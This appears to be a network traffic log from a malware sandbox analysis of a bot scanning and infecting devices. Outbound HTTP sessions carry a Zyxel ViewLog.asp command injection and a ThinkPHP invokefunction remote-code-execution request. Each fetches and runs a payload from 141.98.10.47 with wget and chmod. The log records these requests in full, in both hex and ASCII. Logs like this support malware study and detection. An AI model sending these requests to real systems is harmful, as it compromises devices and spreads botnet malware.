Dec 26, 2023 21:24:25.290734053 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:26.068154097 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:27.571995020 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:30.739460945 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:36.882616043 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:48.912926912 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:14.509346008 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:03.654478073 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	45160	88.84.13.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:26.139231920 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:27.475940943 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:27.754657030 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	49062	88.221.246.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:26.273734093 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:26.675776958 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:26 GMT Date: Tue, 26 Dec 2023 20:24:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 34 30 39 30 65 63 34 26 23 34 36 3b 31 37 30 33 36 32 32 32 36 36 26 23 34 36 3b 31 62 37 33 34 36 30 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.34090ec4.1703622266.1b73460f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	54538	112.166.209.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:27.756118059 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:28.787765980 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:29.112674952 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	51084	112.221.212.165	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:27.756196976 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:29.523652077 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:29.883917093 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Tue, 26 Dec 2023 20:24:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	38640	85.86.113.62	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:27.811100006 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	43124	31.172.73.249	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:27.815114975 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:28.083369017 CET	451	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:27 GMT Server: Apache/2.4.53 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1f Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	58804	31.211.151.27	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:27.848824978 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	33580	94.122.193.103	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:28.124798059 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	34708	31.200.62.106	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:28.128098965 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	48796	94.122.65.38	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:28.850971937 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	58958	95.100.95.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:30.010998011 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:31.187414885 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:31.416939020 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:24:31 GMT Date: Tue, 26 Dec 2023 20:24:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 35 64 36 34 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 37 31 26 23 34 36 3b 31 36 35 64 62 35 31 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b5d645f.1703622271.165db511</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	42340	31.136.90.164	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:30.422401905 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:31.219394922 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:32.787189960 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:36.114705086 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:42.513803959 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:55.056137085 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:20.652453899 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
